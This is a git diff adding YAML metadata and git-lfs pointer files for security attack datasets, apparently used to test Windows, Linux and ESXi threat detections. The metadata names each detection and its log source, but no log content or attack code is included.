source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.005/discord_dnsquery/sysmon-c4065433-725b-4e1d-87ff-559a08a594d4.log b/datasets/attack_techniques/T1059.005/discord_dnsquery/sysmon-c4065433-725b-4e1d-87ff-559a08a594d4.log new file mode 100644 index 000000000..1356c38f9 --- /dev/null +++ b/datasets/attack_techniques/T1059.005/discord_dnsquery/sysmon-c4065433-725b-4e1d-87ff-559a08a594d4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:809e8f609664d41b50447ace7c6b39d716650ead0c1153eadadf3e38eba7d407 +size 2217 diff --git a/datasets/attack_techniques/T1059.005/lotus_blossom_chrysalis/T1059.005_lotus_blossom_chrysalis.yml b/datasets/attack_techniques/T1059.005/lotus_blossom_chrysalis/T1059.005_lotus_blossom_chrysalis.yml new file mode 100644 index 000000000..ca2b10f55 --- /dev/null +++ b/datasets/attack_techniques/T1059.005/lotus_blossom_chrysalis/T1059.005_lotus_blossom_chrysalis.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9ac73955-f320-43cd-a2a6-5e8b7422f8dd +date: '2026-07-11' +description: Curated attack data generated for detection Windows TinyCC Shellcode + Execution +environment: attack_range +directory: lotus_blossom_chrysalis +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.005/lotus_blossom_chrysalis/windows-sysmon-9ac73955-f320-43cd-a2a6-5e8b7422f8dd.log + sourcetype: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.005/lotus_blossom_chrysalis/windows-sysmon-9ac73955-f320-43cd-a2a6-5e8b7422f8dd.log b/datasets/attack_techniques/T1059.005/lotus_blossom_chrysalis/windows-sysmon-9ac73955-f320-43cd-a2a6-5e8b7422f8dd.log new file mode 100644 index 000000000..702252bb9 --- /dev/null +++ b/datasets/attack_techniques/T1059.005/lotus_blossom_chrysalis/windows-sysmon-9ac73955-f320-43cd-a2a6-5e8b7422f8dd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cb5ea7112ec60ef8c6c4abfe3f2d5eccb0d7e8435e0da8ffdc7ff276878e7caf +size 4713 diff --git a/datasets/attack_techniques/T1059.005/vbs_wscript/T1059.005_vbs_wscript.yml b/datasets/attack_techniques/T1059.005/vbs_wscript/T1059.005_vbs_wscript.yml new file mode 100644 index 000000000..ce825a4a5 --- /dev/null +++ b/datasets/attack_techniques/T1059.005/vbs_wscript/T1059.005_vbs_wscript.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3f8330d7-671e-47b9-aed6-546207714f9b +date: '2026-07-11' +description: Curated attack data generated for detection Regsvr32 Silent and Install + Param Dll Loading +environment: attack_range +directory: vbs_wscript +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1059.005/vbs_wscript/sysmon-3f8330d7-671e-47b9-aed6-546207714f9b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.005/vbs_wscript/sysmon-3f8330d7-671e-47b9-aed6-546207714f9b.log b/datasets/attack_techniques/T1059.005/vbs_wscript/sysmon-3f8330d7-671e-47b9-aed6-546207714f9b.log new file mode 100644 index 000000000..24d594801 --- /dev/null +++ b/datasets/attack_techniques/T1059.005/vbs_wscript/sysmon-3f8330d7-671e-47b9-aed6-546207714f9b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9aa258769ea58b633e9feb274a396fb9e743cff5f4dccc5659866816f2200677 +size 24213 diff --git a/datasets/attack_techniques/T1059/autoit/T1059_autoit.yml b/datasets/attack_techniques/T1059/autoit/T1059_autoit.yml new file mode 100644 index 000000000..3872e5715 --- /dev/null +++ b/datasets/attack_techniques/T1059/autoit/T1059_autoit.yml @@ -0,0 +1,20 @@ +author: STRT +id: 418e2f13-3a01-4f0d-8c2a-25d7463b17e0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AutoIt3 Execution +environment: attack_range +directory: autoit +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1059/autoit/sysmon-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: cab_files + path: /datasets/attack_techniques/T1059/autoit/cab_files-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windbg_autoit + path: /datasets/attack_techniques/T1059/autoit/windbg_autoit-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059/autoit/cab_files-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log b/datasets/attack_techniques/T1059/autoit/cab_files-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log new file mode 100644 index 000000000..2ea0a5249 --- /dev/null +++ b/datasets/attack_techniques/T1059/autoit/cab_files-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:637728d3fc1d7f6db765827dba2b77976d1ea1888a43905df7dbcd97ef72af54 +size 2137 diff --git a/datasets/attack_techniques/T1059/autoit/sysmon-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log b/datasets/attack_techniques/T1059/autoit/sysmon-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log new file mode 100644 index 000000000..cf68cb086 --- /dev/null +++ b/datasets/attack_techniques/T1059/autoit/sysmon-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bd250b1179e5885b44fdae7e750df2ba54a3c161b3d5d9e362aa90dc1823ccb1 +size 13814 diff --git a/datasets/attack_techniques/T1059/autoit/windbg_autoit-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log b/datasets/attack_techniques/T1059/autoit/windbg_autoit-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log new file mode 100644 index 000000000..f8ad670f2 --- /dev/null +++ b/datasets/attack_techniques/T1059/autoit/windbg_autoit-418e2f13-3a01-4f0d-8c2a-25d7463b17e0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8504e46faab38a864bb58536d2e2bb150a97abb3255a0c7172a3f75ee3f27217 +size 2053 diff --git a/datasets/attack_techniques/T1059/esxi_reverse_shell/T1059_esxi_reverse_shell.yml b/datasets/attack_techniques/T1059/esxi_reverse_shell/T1059_esxi_reverse_shell.yml new file mode 100644 index 000000000..7743a3c6b --- /dev/null +++ b/datasets/attack_techniques/T1059/esxi_reverse_shell/T1059_esxi_reverse_shell.yml @@ -0,0 +1,12 @@ +author: STRT +id: e1a1cdc6-b593-4fad-99a6-4fd1c3484673 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Reverse Shell Patterns +environment: attack_range +directory: esxi_reverse_shell +mitre_technique: [] +datasets: +- name: esxi_reverse_shell + path: /datasets/attack_techniques/T1059/esxi_reverse_shell/esxi_reverse_shell-e1a1cdc6-b593-4fad-99a6-4fd1c3484673.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1059/esxi_reverse_shell/esxi_reverse_shell-e1a1cdc6-b593-4fad-99a6-4fd1c3484673.log b/datasets/attack_techniques/T1059/esxi_reverse_shell/esxi_reverse_shell-e1a1cdc6-b593-4fad-99a6-4fd1c3484673.log new file mode 100644 index 000000000..2259b6808 --- /dev/null +++ b/datasets/attack_techniques/T1059/esxi_reverse_shell/esxi_reverse_shell-e1a1cdc6-b593-4fad-99a6-4fd1c3484673.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c99d33955dc7adb8fd4fab4a8c230055ffd7a369ee69c5e09a556e7644238485 +size 143 diff --git a/datasets/attack_techniques/T1059/excessive_distinct_processes_from_windows_temp/T1059_excessive_distinct_processes_from_windows_temp.yml b/datasets/attack_techniques/T1059/excessive_distinct_processes_from_windows_temp/T1059_excessive_distinct_processes_from_windows_temp.yml new file mode 100644 index 000000000..55eaca31b --- /dev/null +++ b/datasets/attack_techniques/T1059/excessive_distinct_processes_from_windows_temp/T1059_excessive_distinct_processes_from_windows_temp.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3bbfd469-febd-4f3c-991d-4648c36e0053 +date: '2026-07-10' +description: Curated attack data generated for detection Excessive distinct processes + from Windows Temp +environment: attack_range +directory: excessive_distinct_processes_from_windows_temp +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1059/excessive_distinct_processes_from_windows_temp/windows-xml-3bbfd469-febd-4f3c-991d-4648c36e0053.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1059/excessive_distinct_processes_from_windows_temp/windows-xml-3bbfd469-febd-4f3c-991d-4648c36e0053.log b/datasets/attack_techniques/T1059/excessive_distinct_processes_from_windows_temp/windows-xml-3bbfd469-febd-4f3c-991d-4648c36e0053.log new file mode 100644 index 000000000..7554a1e38 --- /dev/null +++ b/datasets/attack_techniques/T1059/excessive_distinct_processes_from_windows_temp/windows-xml-3bbfd469-febd-4f3c-991d-4648c36e0053.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9bb8730919151999b206ab3e2c5086c6978dcb2d344cc1e806b298a1b06309b5 +size 115142 diff --git a/datasets/attack_techniques/T1059/log4shell_ldap_traffic/T1059_log4shell_ldap_traffic.yml b/datasets/attack_techniques/T1059/log4shell_ldap_traffic/T1059_log4shell_ldap_traffic.yml new file mode 100644 index 000000000..47486bda5 --- /dev/null +++ b/datasets/attack_techniques/T1059/log4shell_ldap_traffic/T1059_log4shell_ldap_traffic.yml @@ -0,0 +1,12 @@ +author: STRT +id: 708a0e11-d9be-4afe-8042-114267e3234c +date: '2026-07-13' +description: Curated attack data generated for detection Detect Outbound LDAP Traffic +environment: attack_range +directory: log4shell_ldap_traffic +mitre_technique: [] +datasets: +- name: pantraffic + path: /datasets/attack_techniques/T1059/log4shell_ldap_traffic/pantraffic-708a0e11-d9be-4afe-8042-114267e3234c.log + sourcetype: pan:traffic + source: not_applicable diff --git a/datasets/attack_techniques/T1059/log4shell_ldap_traffic/pantraffic-708a0e11-d9be-4afe-8042-114267e3234c.log b/datasets/attack_techniques/T1059/log4shell_ldap_traffic/pantraffic-708a0e11-d9be-4afe-8042-114267e3234c.log new file mode 100644 index 000000000..29d301c1b --- /dev/null +++ b/datasets/attack_techniques/T1059/log4shell_ldap_traffic/pantraffic-708a0e11-d9be-4afe-8042-114267e3234c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3f5c2712d361170cba26a66d1dd093d4b7e80773130e4a5680c6f17982815da2 +size 3094 diff --git a/datasets/attack_techniques/T1059/metasploit/T1059_metasploit.yml b/datasets/attack_techniques/T1059/metasploit/T1059_metasploit.yml new file mode 100644 index 000000000..3fbe36bd2 --- /dev/null +++ b/datasets/attack_techniques/T1059/metasploit/T1059_metasploit.yml @@ -0,0 +1,17 @@ +author: STRT +id: b472a318-72a3-4118-8538-ca337d188092 +date: '2026-07-11' +description: Curated attack data generated for detection Powershell Load Module in + Meterpreter +environment: attack_range +directory: metasploit +mitre_technique: [] +datasets: +- name: msf.powershell.powershell + path: /datasets/attack_techniques/T1059/metasploit/msf.powershell.powershell-b472a318-72a3-4118-8538-ca337d188092.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: apachebench_windows-sysmon + path: /datasets/attack_techniques/T1059/metasploit/apachebench_windows-sysmon-b472a318-72a3-4118-8538-ca337d188092.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059/metasploit/apachebench_windows-sysmon-b472a318-72a3-4118-8538-ca337d188092.log b/datasets/attack_techniques/T1059/metasploit/apachebench_windows-sysmon-b472a318-72a3-4118-8538-ca337d188092.log new file mode 100644 index 000000000..5045565d5 --- /dev/null +++ b/datasets/attack_techniques/T1059/metasploit/apachebench_windows-sysmon-b472a318-72a3-4118-8538-ca337d188092.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ce66971b122b559baa1d52fc19f6e9b06cc8a3b2493c4fe2ed6a20cc74e80bff +size 3349 diff --git a/datasets/attack_techniques/T1059/metasploit/msf.powershell.powershell-b472a318-72a3-4118-8538-ca337d188092.log b/datasets/attack_techniques/T1059/metasploit/msf.powershell.powershell-b472a318-72a3-4118-8538-ca337d188092.log new file mode 100644 index 000000000..dff67977f --- /dev/null +++ b/datasets/attack_techniques/T1059/metasploit/msf.powershell.powershell-b472a318-72a3-4118-8538-ca337d188092.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0a288c5ea1ce1766b9eef22eb6b95cb7f6aab62b78beec87968b15bba9d3f8d1 +size 13518 diff --git a/datasets/attack_techniques/T1059/path_traversal/T1059_path_traversal.yml b/datasets/attack_techniques/T1059/path_traversal/T1059_path_traversal.yml new file mode 100644 index 000000000..fb0c70067 --- /dev/null +++ b/datasets/attack_techniques/T1059/path_traversal/T1059_path_traversal.yml @@ -0,0 +1,13 @@ +author: STRT +id: f01e46c8-5e7c-4225-98e1-6b74e8c7643a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Command and Scripting + Interpreter Hunting Path Traversal +environment: attack_range +directory: path_traversal +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1059/path_traversal/sysmon-f01e46c8-5e7c-4225-98e1-6b74e8c7643a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059/path_traversal/sysmon-f01e46c8-5e7c-4225-98e1-6b74e8c7643a.log b/datasets/attack_techniques/T1059/path_traversal/sysmon-f01e46c8-5e7c-4225-98e1-6b74e8c7643a.log new file mode 100644 index 000000000..f83ee7e74 --- /dev/null +++ b/datasets/attack_techniques/T1059/path_traversal/sysmon-f01e46c8-5e7c-4225-98e1-6b74e8c7643a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:99870c7574499303adb5cbdcb30a4cbd4669fe3727f887b5606f6dea2681d08a +size 8615 diff --git a/datasets/attack_techniques/T1059/vmtoolsd/T1059_vmtoolsd.yml b/datasets/attack_techniques/T1059/vmtoolsd/T1059_vmtoolsd.yml new file mode 100644 index 000000000..94bd99f12 --- /dev/null +++ b/datasets/attack_techniques/T1059/vmtoolsd/T1059_vmtoolsd.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8eaf0472-ddf3-46a4-9a62-566352e7d1bc +date: '2026-07-11' +description: Curated attack data generated for detection Windows Suspicious VMWare + Tools Child Process +environment: attack_range +directory: vmtoolsd +mitre_technique: [] +datasets: +- name: vmtoolsd_execution + path: /datasets/attack_techniques/T1059/vmtoolsd/vmtoolsd_execution-8eaf0472-ddf3-46a4-9a62-566352e7d1bc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059/vmtoolsd/vmtoolsd_execution-8eaf0472-ddf3-46a4-9a62-566352e7d1bc.log b/datasets/attack_techniques/T1059/vmtoolsd/vmtoolsd_execution-8eaf0472-ddf3-46a4-9a62-566352e7d1bc.log new file mode 100644 index 000000000..e7c32539a --- /dev/null +++ b/datasets/attack_techniques/T1059/vmtoolsd/vmtoolsd_execution-8eaf0472-ddf3-46a4-9a62-566352e7d1bc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cdb0794700ffe957bbf8914768c60f43eaf3261c7c2f8c1c06d7c01e60f6be25 +size 2385 diff --git a/datasets/attack_techniques/T1068/bluehammer/T1068_bluehammer.yml b/datasets/attack_techniques/T1068/bluehammer/T1068_bluehammer.yml new file mode 100644 index 000000000..4cf0ccda7 --- /dev/null +++ b/datasets/attack_techniques/T1068/bluehammer/T1068_bluehammer.yml @@ -0,0 +1,17 @@ +author: STRT +id: f9958e59-c036-4905-98eb-5a590edb7805 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Admin Password Changed + by Non-Admin +environment: attack_range +directory: bluehammer +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1068/bluehammer/windows-security-f9958e59-c036-4905-98eb-5a590edb7805.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: windows-sysmon + path: /datasets/attack_techniques/T1068/bluehammer/windows-sysmon-f9958e59-c036-4905-98eb-5a590edb7805.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1068/bluehammer/windows-security-f9958e59-c036-4905-98eb-5a590edb7805.log b/datasets/attack_techniques/T1068/bluehammer/windows-security-f9958e59-c036-4905-98eb-5a590edb7805.log new file mode 100644 index 000000000..272969e48 --- /dev/null +++ b/datasets/attack_techniques/T1068/bluehammer/windows-security-f9958e59-c036-4905-98eb-5a590edb7805.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d91a821b5e3853f02fd2243035dcf14fd73b2d93c257cf4f626cee3360969c8c +size 8868 diff --git a/datasets/attack_techniques/T1068/bluehammer/windows-sysmon-f9958e59-c036-4905-98eb-5a590edb7805.log b/datasets/attack_techniques/T1068/bluehammer/windows-sysmon-f9958e59-c036-4905-98eb-5a590edb7805.log new file mode 100644 index 000000000..5eb0ddd6a --- /dev/null +++ b/datasets/attack_techniques/T1068/bluehammer/windows-sysmon-f9958e59-c036-4905-98eb-5a590edb7805.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:df7b7a04471f11dcc67b6b1c586ca8cdfdef6b726458b7fc73cb04df33109046 +size 2449 diff --git a/datasets/attack_techniques/T1068/drivers/T1068_drivers.yml b/datasets/attack_techniques/T1068/drivers/T1068_drivers.yml new file mode 100644 index 000000000..33a15d5c4 --- /dev/null +++ b/datasets/attack_techniques/T1068/drivers/T1068_drivers.yml @@ -0,0 +1,21 @@ +author: STRT +id: a7933ab4-c472-407d-8a1a-2f8fee35787a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Driver Load Non-Standard + Path +environment: attack_range +directory: drivers +mitre_technique: [] +datasets: +- name: xml7045_windows-system + path: /datasets/attack_techniques/T1068/drivers/xml7045_windows-system-a7933ab4-c472-407d-8a1a-2f8fee35787a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System +- name: sc_kernel + path: /datasets/attack_techniques/T1068/drivers/sc_kernel-a7933ab4-c472-407d-8a1a-2f8fee35787a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: sysmon_sys_filemod + path: /datasets/attack_techniques/T1068/drivers/sysmon_sys_filemod-a7933ab4-c472-407d-8a1a-2f8fee35787a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1068/drivers/sc_kernel-a7933ab4-c472-407d-8a1a-2f8fee35787a.log b/datasets/attack_techniques/T1068/drivers/sc_kernel-a7933ab4-c472-407d-8a1a-2f8fee35787a.log new file mode 100644 index 000000000..8c1ed66dc --- /dev/null +++ b/datasets/attack_techniques/T1068/drivers/sc_kernel-a7933ab4-c472-407d-8a1a-2f8fee35787a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:083c16b90f2cbb205c6b6d7d36eceb389ef4c4054f645e7bc93ca57bc1e3255b +size 29295 diff --git a/datasets/attack_techniques/T1068/drivers/sysmon_sys_filemod-a7933ab4-c472-407d-8a1a-2f8fee35787a.log b/datasets/attack_techniques/T1068/drivers/sysmon_sys_filemod-a7933ab4-c472-407d-8a1a-2f8fee35787a.log new file mode 100644 index 000000000..3c1dc7e70 --- /dev/null +++ b/datasets/attack_techniques/T1068/drivers/sysmon_sys_filemod-a7933ab4-c472-407d-8a1a-2f8fee35787a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a23af290ae18245776fcb7ae80441e878975a5c12c4990e90116a72d3e11c576 +size 15959 diff --git a/datasets/attack_techniques/T1068/drivers/xml7045_windows-system-a7933ab4-c472-407d-8a1a-2f8fee35787a.log b/datasets/attack_techniques/T1068/drivers/xml7045_windows-system-a7933ab4-c472-407d-8a1a-2f8fee35787a.log new file mode 100644 index 000000000..f33db6bd0 --- /dev/null +++ b/datasets/attack_techniques/T1068/drivers/xml7045_windows-system-a7933ab4-c472-407d-8a1a-2f8fee35787a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:07e21762529b2106c75d87edd808c3e51ce4b3fc1fda680926a44c5ed939d1f6 +size 16766 diff --git a/datasets/attack_techniques/T1068/linux_auditd_copy_fail/T1068_linux_auditd_copy_fail.yml b/datasets/attack_techniques/T1068/linux_auditd_copy_fail/T1068_linux_auditd_copy_fail.yml new file mode 100644 index 000000000..20c1a0190 --- /dev/null +++ b/datasets/attack_techniques/T1068/linux_auditd_copy_fail/T1068_linux_auditd_copy_fail.yml @@ -0,0 +1,17 @@ +author: STRT +id: fa1177e9-9934-4069-870f-d83f5260b0b9 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Auditd Copy Fail Privilege + Escalation +environment: attack_range +directory: linux_auditd_copy_fail +mitre_technique: [] +datasets: +- name: linux_auditd + path: /datasets/attack_techniques/T1068/linux_auditd_copy_fail/linux_auditd-fa1177e9-9934-4069-870f-d83f5260b0b9.log + sourcetype: auditd + source: auditd +- name: auth + path: /datasets/attack_techniques/T1068/linux_auditd_copy_fail/auth-fa1177e9-9934-4069-870f-d83f5260b0b9.log + sourcetype: linux_secure + source: /var/log/secure diff --git a/datasets/attack_techniques/T1068/linux_auditd_copy_fail/auth-fa1177e9-9934-4069-870f-d83f5260b0b9.log b/datasets/attack_techniques/T1068/linux_auditd_copy_fail/auth-fa1177e9-9934-4069-870f-d83f5260b0b9.log new file mode 100644 index 000000000..91d3f689f --- /dev/null +++ b/datasets/attack_techniques/T1068/linux_auditd_copy_fail/auth-fa1177e9-9934-4069-870f-d83f5260b0b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7b1ace0f7fc8f7a0919c9d8757c11624353566d0f38d778f9747557fd10c24db +size 233 diff --git a/datasets/attack_techniques/T1068/linux_auditd_copy_fail/linux_auditd-fa1177e9-9934-4069-870f-d83f5260b0b9.log b/datasets/attack_techniques/T1068/linux_auditd_copy_fail/linux_auditd-fa1177e9-9934-4069-870f-d83f5260b0b9.log new file mode 100644 index 000000000..5d3ad4234 --- /dev/null +++ b/datasets/attack_techniques/T1068/linux_auditd_copy_fail/linux_auditd-fa1177e9-9934-4069-870f-d83f5260b0b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:670a96e1edee020f6f1962569a7e2aaea68d54900e3c440fdb1a86bf60ba9d2b +size 78230 diff --git a/datasets/attack_techniques/T1068/linux_dirtyfrag/T1068_linux_dirtyfrag.yml b/datasets/attack_techniques/T1068/linux_dirtyfrag/T1068_linux_dirtyfrag.yml new file mode 100644 index 000000000..8b87c2597 --- /dev/null +++ b/datasets/attack_techniques/T1068/linux_dirtyfrag/T1068_linux_dirtyfrag.yml @@ -0,0 +1,17 @@ +author: STRT +id: 94f25564-8a94-449d-82a1-2158c73236a0 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Dirty Frag Kernel Privilege + Escalation +environment: attack_range +directory: linux_dirtyfrag +mitre_technique: [] +datasets: +- name: dirty_frag_events_trimmed + path: /datasets/attack_techniques/T1068/linux_dirtyfrag/dirty_frag_events_trimmed-94f25564-8a94-449d-82a1-2158c73236a0.log + sourcetype: auditd + source: auditd +- name: audit + path: /datasets/attack_techniques/T1068/linux_dirtyfrag/audit-94f25564-8a94-449d-82a1-2158c73236a0.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1068/linux_dirtyfrag/audit-94f25564-8a94-449d-82a1-2158c73236a0.log b/datasets/attack_techniques/T1068/linux_dirtyfrag/audit-94f25564-8a94-449d-82a1-2158c73236a0.log new file mode 100644 index 000000000..3913e6101 --- /dev/null +++ b/datasets/attack_techniques/T1068/linux_dirtyfrag/audit-94f25564-8a94-449d-82a1-2158c73236a0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:04752171089fef1223a05cc7bff51792151620b1a8ba2f7f656ba9b21ef76df1 +size 518 diff --git a/datasets/attack_techniques/T1068/linux_dirtyfrag/dirty_frag_events_trimmed-94f25564-8a94-449d-82a1-2158c73236a0.log b/datasets/attack_techniques/T1068/linux_dirtyfrag/dirty_frag_events_trimmed-94f25564-8a94-449d-82a1-2158c73236a0.log new file mode 100644 index 000000000..30adb7dc8 --- /dev/null +++ b/datasets/attack_techniques/T1068/linux_dirtyfrag/dirty_frag_events_trimmed-94f25564-8a94-449d-82a1-2158c73236a0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:692152d23c68767870cf36c5e89c95520a112a35a2331401d0f30c1a576aaf78 +size 102912 diff --git a/datasets/attack_techniques/T1068/pkexec/T1068_pkexec.yml b/datasets/attack_techniques/T1068/pkexec/T1068_pkexec.yml new file mode 100644 index 000000000..c9441b88d --- /dev/null +++ b/datasets/attack_techniques/T1068/pkexec/T1068_pkexec.yml @@ -0,0 +1,12 @@ +author: STRT +id: 5b5cf5c7-b614-4208-b643-3f58b3df7492 +date: '2026-07-10' +description: Curated attack data generated for detection Linux pkexec Privilege Escalation +environment: attack_range +directory: pkexec +mitre_technique: [] +datasets: +- name: linux-sysmon + path: /datasets/attack_techniques/T1068/pkexec/linux-sysmon-5b5cf5c7-b614-4208-b643-3f58b3df7492.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1068/pkexec/linux-sysmon-5b5cf5c7-b614-4208-b643-3f58b3df7492.log b/datasets/attack_techniques/T1068/pkexec/linux-sysmon-5b5cf5c7-b614-4208-b643-3f58b3df7492.log new file mode 100644 index 000000000..0a9d1e261 --- /dev/null +++ b/datasets/attack_techniques/T1068/pkexec/linux-sysmon-5b5cf5c7-b614-4208-b643-3f58b3df7492.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fbfff0259a3c7cb00ca277e21ec7fcf3bcab8ca5789747a8168115521eb86c28 +size 1475 diff --git a/datasets/attack_techniques/T1068/redsun/T1068_redsun.yml b/datasets/attack_techniques/T1068/redsun/T1068_redsun.yml new file mode 100644 index 000000000..536e554a5 --- /dev/null +++ b/datasets/attack_techniques/T1068/redsun/T1068_redsun.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3599879c-cfe8-4202-82ad-a09d0d1de871 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Cloud Files Filter + Loaded by Uncommon Process +environment: attack_range +directory: redsun +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1068/redsun/windows-sysmon-3599879c-cfe8-4202-82ad-a09d0d1de871.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1068/redsun/windows-sysmon-3599879c-cfe8-4202-82ad-a09d0d1de871.log b/datasets/attack_techniques/T1068/redsun/windows-sysmon-3599879c-cfe8-4202-82ad-a09d0d1de871.log new file mode 100644 index 000000000..50f52643f --- /dev/null +++ b/datasets/attack_techniques/T1068/redsun/windows-sysmon-3599879c-cfe8-4202-82ad-a09d0d1de871.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dc11cd3a0c5a7436e61301d0394294a39bbc67bcb0c7bb65165ed2c9f5fee9c1 +size 4298 diff --git a/datasets/attack_techniques/T1068/snapattack/T1068_snapattack.yml b/datasets/attack_techniques/T1068/snapattack/T1068_snapattack.yml new file mode 100644 index 000000000..00b33ef5f --- /dev/null +++ b/datasets/attack_techniques/T1068/snapattack/T1068_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: caa916a9-031e-4e4f-b3f4-2a41f95418a4 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Potato Privilege + Escalation Tool Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1068/snapattack/snapattack-caa916a9-031e-4e4f-b3f4-2a41f95418a4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1068/snapattack/snapattack-caa916a9-031e-4e4f-b3f4-2a41f95418a4.log 